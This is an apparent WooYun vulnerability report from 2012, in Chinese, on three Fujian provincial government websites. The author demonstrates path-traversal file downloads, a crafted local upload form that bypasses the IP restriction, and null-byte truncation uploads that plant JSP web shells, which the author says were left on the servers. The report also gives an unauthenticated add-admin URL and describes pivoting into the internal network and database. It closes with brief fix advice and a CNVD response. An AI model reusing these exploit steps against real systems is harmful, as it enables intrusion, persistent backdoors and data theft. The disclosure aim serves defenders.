当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-08126

漏洞标题:福建某些局站点任意文件下载

相关厂商:福建某些站

漏洞作者: possible

提交时间:2012-06-10 10:56

修复时间:2012-07-25 10:57

公开时间:2012-07-25 10:57

漏洞类型:任意文件遍历/下载

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-06-10: 细节已通知厂商并且等待厂商处理中
2012-06-14: 厂商已经确认,细节仅向厂商公开
2012-06-24: 细节向核心白帽子及相关领域专家公开
2012-07-04: 细节向普通白帽子公开
2012-07-14: 细节向实习白帽子公开
2012-07-25: 细节向公众公开

简要描述:

好像政府站点rank挺多的呀....
好像多写点管理员会给通过还能rank*2...
这些是真的么?
我承认我是刷rank的...

详细说明:

很是怪异,貌似是一套源码,但是一种方法却不能都成功,应该是每套程序在源程序基础上做了修改,加工的结果。但是有一处却是共有的漏洞,任意文件下载。
看到很多站点都存在该漏洞,因此利用这几个站点来说说文件下载漏洞,让程序员认识到这种漏洞危害还是很大的,以后多多注意。
任意文件下载漏洞在渗透测试中主要作用:
1.下载系统本身的配置文件和站点的配置文件,如sam、shadow、web.config、web.xml等
2. 下载站点本身的源代码找站点其它漏洞,如未授权访问、sql注入、上传、包含等。
下面主要以这几个小站来演示一下以任意文件下载漏洞作为切入点的测试过程。
站点1:福建省文化厅(任意文件下载+任意文件上传限制绕过+任意文件上传)
一个下载点:
http://www.fjwh.gov.cn/download.jsp?path=/UserFiles/File/20111118091214.doc
简单测试即可发现这个下载点过滤不当,存在漏洞,如
http://www.fjwh.gov.cn/download.jsp?path=/UserFiles/../download.jsp 即可下载源代码
看一下download.jsp的实现代码
<%@page language="java" contentType="application/x-msdownload" import="java.io.*,java.net.*" pageEncoding="gb2312"%><%
String temp=request.getParameter("path");
String[] st = null;
if(temp != null){
st = temp.split("/");
}
if(st != null && st.length > 0){
if(!"UserFiles".equals(st[1])){ //过滤位置,下载路径以UserFiles开头即可绕过下载限制。
out.println("文件不存在");
return;
}
}
if(temp==null)
temp="";
String path=new String(temp.getBytes("8859_1"),"gb2312");
response.reset();

接下来最简单的是下载tomcat-users.xml(如果可以)但是发现http://www.fjwh.gov.cn/manager/html
不能访问,就不用尝试下载了。
还是看源代码找文件上传漏洞,比较直接。
翻了一下找到上传点:
admin/template/uploadFile.jsp
admin/content/upload.jsp
但是发现都不能访问,直接会跳转到主页,下载一下其源代码里面都有
<%@ include file="../const.jsp"%>
const.jsp主要内容如下:
<%
String path = request.getContextPath();
request.setAttribute("path",path);
ManagerDao manager = (ManagerDao) request.getSession().getAttribute(
Const.SESSION_MANAGER_KEY);
request.setAttribute("manager",manager);
%>
<script>
if(${manager==null})
top.location.replace("<%=path%>/admin/login.jsp");
top.window.document.title="福建省文化厅--后台管理系统";
</script>
做的还不错,至少比国土资源厅的好( WooYun: 福建省国土资源厅任意jsp上传 貌似一套源码)不是直接
可以上传获得shell的。需要登录后台后才可以,尝试是否可以登录后台,可以确定admin/login.jsp 是后台,尝试
弱口令绕过登录限制。但是发现admin/login.jsp访问之后会直接跳转到主页,下载源代码看一下
原来里面有<jsp:include page="limitIP.jsp"></jsp:include> limitIP.jsp会读取ip.txt中记录的ip地址,限制
客户端登录后台。ip限制不知道怎么绕过?但是想admin/content/upload.jsp不能访问,但是其最后响应上传的代码
在evecom.project.content.struts.action.UploadAction,具体实现代码如下:
public ActionForward execute(ActionMapping mapping, ActionForm form, HttpServletRequest request, HttpServletResponse response)
{
UploadFileForm mission_uploadform = (UploadFileForm)form;
int limit = 0;
try {
limit = Integer.parseInt(request.getParameter("limit"));
} catch (Exception e) {
limit = 0;
}
String realPath = request.getParameter("realPath");
String hold = request.getParameter("hold");
String fileName = mission_uploadform.getFname();
FormFile file = mission_uploadform.getFile();
if ((file == null) || (file.getFileName().trim().length() == 0)) {
request.setAttribute("limit", Integer.toString(limit));
request.setAttribute("returnval", "上传失败!");
return mapping.getInputForward();
}
String filename = file.getFileName();
double size = file.getFileSize();
NumberFormat nf = NumberFormat.getInstance();
nf.setMaximumFractionDigits(4);
size /= 1048576.0D;
String filesize = nf.format(size) + "M";
SimpleDateFormat df = new SimpleDateFormat("yyyyMMddhhmmss");
String tempfilename = "";
if (hold != null) {
if (hold.equals("1")) //主要参数,是否修改变量名,如果不是1 将会根据当前时间重命名,猜测上传后文件
//名比较麻烦
tempfilename = filename;
else if (hold.equals("2"))
tempfilename = df.format(new Date()) + "." + Utils.getFileSuffix(filename);
else
tempfilename = Utils.getFilePrefix(filename) + df.format(new Date()) + "." + Utils.getFileSuffix(filename);
}
else {
tempfilename = df.format(new Date()) + "." + Utils.getFileSuffix(filename);
}
String dir = this.servlet.getServletContext().getRealPath(realPath);
try {
InputStream streamin = file.getInputStream();
OutputStream streamout = new FileOutputStream(dir + "/" + tempfilename);
int bytesRead = 0;
byte[] buffer = new byte[8192];
while ((bytesRead = streamin.read(buffer, 0, 8192)) != -1) {
streamout.write(buffer, 0, bytesRead);
}
streamout.close();
streamin.close();
file.destroy();
} catch (FileNotFoundException e) {
e.printStackTrace();
} catch (IOException e1) {
e1.printStackTrace();
}
if (fileName != null) {
if (fileName.trim().length() == 0)
fileName = tempfilename;
else
fileName = fileName + "/-/" + tempfilename;
}
System_LogService sls = System_LogServiceImpl.getSli();
System_LogForm slf = new System_LogForm();
slf.setLogremark("上传了文件名为:" + filename + "的文件");
slf.setLogip(request.getRemoteAddr());
ManagerDao manager = (ManagerDao)request.getSession().getAttribute(Const.SESSION_MANAGER_KEY);
slf.setLoguser(manager.getAccount());
slf.setLogdate(Utils.getNowDate("yyyy-MM-dd HH:mm:ss"));
slf.setIsSucc("成功");
sls.addSystemLog(slf);
request.setAttribute("realPath", realPath);
request.setAttribute("fileName", fileName);
request.setAttribute("limit", Integer.toString(limit));
request.setAttribute("returnval", "上传文件" + filename + "成功,大小为" + filesize);
return mapping.getInputForward();
}
整个处理上传过程,没有验证了,是否可以使用本地上传绕过程序本身对客户端ip的限制?只有试了才知道
构造本地上传页面如下(就是将admin/content/upload.jsp内容的相对路径修改成绝对路径,你懂的,将hold参数设置1:
<form action="http://www.fjwh.gov.cn/upload.do?realPath=/UserFiles/Image/&limit=0&hold=1" name="uploadForm" method="post" enctype="multipart/form-data">
<INPUT type="hidden" name="fname" value="shell1.jsp">
<p><br>
</p>
<table width="100%" border="0" cellPadding="0" cellSpacing="1" borderColor="#6699cc" bgcolor="9dbdd1" style="border-collapse: collapse">
<tr align="center" bgcolor="#EEF4F7" class="bg">
<td height="26" colspan="6" bgcolor="#EEF4F7"><div align="left"><span class="tx">&nbsp;<img src="../images/introa.gif" width="14" height="12">上传文件</span></div></td>
</tr>
</table>
<table width="100%" id="tbList" border="0" cellPadding="0" cellSpacing="1" borderColor="#6699cc" bgcolor="9dbdd1" style="border-collapse: collapse">
<tr align="center" bgcolor="#EEF4F7">
<td height="26"><font color="#000000">请选择上传的文件</font> :</td>
<td><input class="button" type="file" name="file" class="box" /> <input name="submit" type="submit" class="button" onclick="onSet();" value="上传" /></td>
</tr>
</table>
</form>
选择一个文件上传,返回500错误,难道我猜错了?在看一下源代码哪里产生异常了,虽然不太写jsp,但是看还不是
问题:
try {
InputStream streamin = file.getInputStream();
OutputStream streamout = new FileOutputStream(dir + "/" + tempfilename);
int bytesRead = 0;
byte[] buffer = new byte[8192];
while ((bytesRead = streamin.read(buffer, 0, 8192)) != -1) {
streamout.write(buffer, 0, bytesRead);
}
streamout.close();
streamin.close();
file.destroy();
至少在这段代码之前不会产生异常,那说明保存文件没有错误,已经成功了。应该是如下
ManagerDao manager = (ManagerDao)request.getSession().getAttribute(Const.SESSION_MANAGER_KEY);
slf.setLoguser(manager.getAccount());
slf.setLogdate(Utils.getNowDate("yyyy-MM-dd HH:mm:ss"));
slf.setIsSucc("成功");
获得session的位置导致的问题,读取验证身份的session由于本地上传,提交自然是空,获得对象导致异常,返回
500错误。
但是这个错误不影响上传,因此已经保存文件成功了(有点绕,就是保存成功后异常),根据代码可以知道
上传成功后,保存文件路径是http://www.fjwh.gov.cn/UserFiles/Image/shell.jsp(我选择上传的文件名是
shell.jsp) 直接访问shell证明猜测正确。shell就不删除了,证明来过。

其实总体来说这套代码做的已经挺好,但由于任意文件下载导致源码泄露,白盒审计会导致很多问题被暴露。对渗透
来说事半功倍。

其实看到源代码该站点还是有很多问题。
最危险的可能是这个fck 但是修改了路径/FCKeditor/editor/fi1smengors/browser/default/connectors/jsp/connector
admin/content/upload.jsp 中还有一个删除文件功能http://www.fjwh.gov.cn/delMoreFile.do?realPath=/UserFiles/Image/&filename=shell.jsp&notSelect=1
源码审计可能还会发现问题,不去一一查找了,只是文件上传和删除就足以说明危害了....

本来想看看有啥在线办公的,但是根据没啥意思,这些不应该是俺做的,留着厂商自己看吧,(把你的ip添加到ip.txt
就可以访问后台了,然后用shell添加一个session就可以访问后台了)

站点2:福建省农产品信息网(任意文件下载+未授权访问+上传)
下载点
218.66.59.31/fjgxs/templates/download.jsp?path=/UserFiles/../templates/download.jsp
与上一个一样代码过滤不当导致任意文件下载
if(st != null && st.length > 0){
if(!"UserFiles".equals(st[0])){
out.println("文件不存在");
return;
}
}
通过文件下载点,简单翻一翻,发现后台功能页面未授权访问
http://218.66.59.31/admin/admin.jsp
http://218.66.59.31/accountForward.do?submitType=add 直接添加管理员账号

这套代码与国土资源厅的很相似,国土资源厅也存在未授权访问
http://mail.fjgtzy.gov.cn/admin/admin.jsp
虽然不能添加账户,但却是网上审批 最重要的功能存在问题。

后台上传无限制直接的shell
http://218.66.59.31/html/6/3/47864_201268428_1.html
添加的图片和附件都可以传。

也有任意文件删除漏洞,就不说了。

站点3:福建省知识产权局(任意文件下载+截断上传)
http://www.fjipo.gov.cn/templates/download.jsp?path=/UserFiles/File/20120529015133.zip
上传漏洞同上
http://www.fjipo.gov.cn/templates/download.jsp?path=/UserFiles/../WEB-INF/web.xml

喜出望外呀,FCK路径,直接访问
http://www.fjipo.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/
提示访问非法“该页面不存在或者包含非法字符!”怎么回事?应该是拦截了,没有通过过滤验证什么的,看一下web.xml配置
原来使用了jsp的过滤器:配置如下
<!-- 域名登录口 -->
<filter>
<filter-name>CheckAdminURLFilter</filter-name>
<filter-class>com.tool.filter.CheckAdminURLFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>CheckAdminURLFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!-- 流量统计 -->
<filter>
<filter-name>VisitFilter</filter-name>
<filter-class>com.visitcount.filter.VisitFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>VisitFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<!--
防注入:原来的,部分不起做作用 <filter> <filter-name>CheckVisitFilter</filter-name>
<filter-class>com.tool.filter.CheckVisitFilter</filter-class>
</filter> <filter-mapping> <filter-name>CheckVisitFilter</filter-name>
<url-pattern>/*</url-pattern> </filter-mapping>
-->
<!-- 新的sql脚本注入和XSS跨站攻击过滤器-->
<filter>
<filter-name>sqlAndXssFilter</filter-name>
<filter-class>com.tool.filter.SqlAndXssFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>sqlAndXssFilter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter>
<filter-name>SetCharsetEncoding</filter-name>
<filter-class>com.tool.filter.CharsetFilter</filter-class>
<init-param>
<param-name>encoding</param-name>
<param-value>GBK</param-value>
</init-param>
</filter>
<filter-mapping>
<filter-name>SetCharsetEncoding</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
过滤器不是很明白,但是猜也能知道是干什么的,对于每个请求先经过每个过滤器,好像是doFilter
CheckAdminURLFilter过滤器主要是读取filterAdminUrl.properties中内容www,admin
请求的url中必须含有改内容之一,否则请求失败,但是这个过滤器本身对于安全作用不大

sqlAndXssFilter是防止sql注入与xss的,首先读取filtercode.properties内容
evecom.formcode=<img ,<image ,<a ,<iframe ,<script ,select &from ,insert &values&(,update &set &\=,delete ,<br ,<hr ,<font ,<div ,<span ,<p>
evecom.sqlcode=',and,exec,delete,insert,select,delete,update,count,*,%,chr,mid,master,truncate,char,declare,--,+,xp_cmdshell,net,<iframe>,</frame>,<script>,</script>,<,>,alert,expression
evecom.xsscode=<iframe>,</iframe>,<script>,</script>,expression,alert,delete,and,insert,select,truncate,main,street,--,+,foobar,javascript
具体代码:
private String path = "/filtercode.properties";
private String docDo = "contentAdd.do,contentEdit.do,mailboxContentEdit.do,contentRecycle.do";

public void doFilter(ServletRequest request, ServletResponse response, FilterChain filterchain)
throws IOException, ServletException
{
HttpServletRequest req = (HttpServletRequest)request;
HttpServletResponse res = (HttpServletResponse)response;
String[] closeFlag = this.docDo.split(",");
String url = req.getRequestURI();
for (String closef : closeFlag) {
if (url.indexOf(closef) != -1) { //内置的几个页面不做检查
System.out.println("不校验contentAdd.do,contentEdit.do,mailboxContentEdit.do的sql注入");
filterchain.doFilter(request, response);
return;
}
}
res.setCharacterEncoding("GBK");
request.setCharacterEncoding("GBK");
//检查是否存在注入代码:
if ((req instanceof HttpServletRequest)) {
Enumeration e = req.getParameterNames();
while (e.hasMoreElements()) {
String parName = (String)e.nextElement();
String parNameValue = req.getParameter(parName);
if ((parNameValue == null) || (parNameValue.equals("")) ||
(!validSqlStr(parNameValue))) //检查是否含有sql注入关键字
continue;
res.getWriter().write("该页面不存在或者包含非法字符!<a href=" + url + ">返回</a>");
return;
}
}
String query_str = req.getQueryString();
if ((query_str != null) && (!query_str.equals("")) &&
(viladXssStr(query_str))) //检查是否含有xss关键字
{
res.getWriter().write("该页面不存在或者包含非法字符!<a href=" + url + ">返回</a>");
return;
}
filterchain.doFilter(request, response);
}
但由于检查xss注入中会检查 and,而
http://www.fjipo.gov.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=FileUpload&Type=Image&CurrentFolder=/
请求中Command中包含and导致无法访问。真是悲剧。这个command是fck的必须参数,本想使用post传递参数,但是...
想到fck还有一个上传路径,如果设置不当会导致黑名单绕过( WooYun: 中国联通某省站点任意文件上传
尝试一下发现上传后文件被重命名了,原来这个上传页面被改写了不是fck默认页面,相应页面
com.lion.cms.frontend.servlet.SimpleUploaderServlet
看一下源代码使用时间+上传文件后缀的方法保存上传文件
String namebydate = String.valueOf(Calendar.getInstance().getTime().getTime()) + random + "." + ext;
File pathToSave = new File(currentDirPath, namebydate);
这个没弄明白咋绕过,加点 加空格 都没有绕过去 (jspx不能解析),这个黑名单还真没搞定。还求明白大神指点一二

没有办法还是看代码找程序本身的上传点,与国土资源厅好像是一套代码( WooYun: 福建省国土资源厅任意jsp上传
想到上传点admin/template/uploadFile.jsp 但是跳回首页了 使用下载点下载该页面
http://www.fjipo.gov.cn/templates/download.jsp?path=/UserFiles/../admin/template/uploadFile.jsp
证明确实存在,对应的上传处理代码直接参考( WooYun: 福建省国土资源厅任意jsp上传 )应该是一样的
,在此省略了太占篇幅了...
使用站点1方法直接本地上传,还是有上面的上传代码,仅修改路径
<form action="http://www.fjipo.gov.cn/uploadFile.do?realPath=/UserFiles/&limit=0&hold=1" name="uploadForm" method="post" enctype="multipart/form-data">
<INPUT type="hidden" name="fname" value="shell1.jsp">
<p><br>
</p>
<table width="100%" border="0" cellPadding="0" cellSpacing="1" borderColor="#6699cc" bgcolor="9dbdd1" style="border-collapse: collapse">
<tr align="center" bgcolor="#EEF4F7" class="bg">
<td height="26" colspan="6" bgcolor="#EEF4F7"><div align="left"><span class="tx">&nbsp;<img src="../images/introa.gif" width="14" height="12">上传文件</span></div></td>
</tr>
</table>
<table width="100%" id="tbList" border="0" cellPadding="0" cellSpacing="1" borderColor="#6699cc" bgcolor="9dbdd1" style="border-collapse: collapse">
<tr align="center" bgcolor="#EEF4F7">
<td height="26"><font color="#000000">请选择上传的文件</font> :</td>
<td><input class="button" type="file" name="file" class="box" /> <input name="submit" type="submit" class="button" onclick="onSet();" value="上传" /></td>
</tr>
</table>
</form>
发现上传应该没有问题,但是上传后重命名了,应该修改程序去猜这个上传后路径,但是有些麻烦比较懒,在看代码
String realPath = request.getParameter("realPath");
String dir = this.servlet.getServletContext().getRealPath(realPath);
OutputStream streamOut = new FileOutputStream(dir + "/" + tempfilename);
上传后文件保存路径是由客户端控制的,那么如果请求
http://www.fjipo.gov.cn/uploadFile.do?realPath=/UserFiles/test.jsp%00会怎样?当然希望是00截断了
如我所愿成功了。
http://www.fjipo.gov.cn/UserFiles/test.jsp(留下shell证明来过)

漏洞证明:

接上
看到shell习惯性的netstat -an一下 居然看到了53好久没有看到过53了,真的想上去看看不会是域名服务器吧
我承认我邪恶了,但是没有恶意只是想看看
内网ip端口转发吧(http://zone.wooyun.org/content/325)
登录之后,令人遗憾的是只要两个域名ns/www (fjipo.gov.cn)这算了吧
如图:


看一下数据库,有点乱,简单截个图

好像还有其他机器连接这个数据库
TCP 172.16.0.3:1433 172.16.0.6:59121 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59122 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59123 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59124 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59125 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59126 ESTABLISHED
TCP 172.16.0.3:1433 172.16.0.6:59127 ESTABLISHED
但是没看出来这个数据库重要信息,算了吧下了


也许还有很多局,不一一检查了(也许以后看到还能拿来刷rank)...就写到这里了

修复方案:

修复
对任意文件下载应该是过滤../ 并且文件后缀白名单检查吧
上传路径不可控+重命名+白名单
未授权访问加上登录session验证

版权声明:转载请注明来源 possible@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2012-06-14 17:29

厂商回复:

CNVD确认漏洞情况(多个案例复现过程比较长一些),转由CNCERT福建分中心协调涉事单位处置。
由于涉及漏洞较多,就不一一评分了。 rank 20吧,爆rank 是浮云,赞分析过程。建议xsser加精华吧。

最新状态:

暂无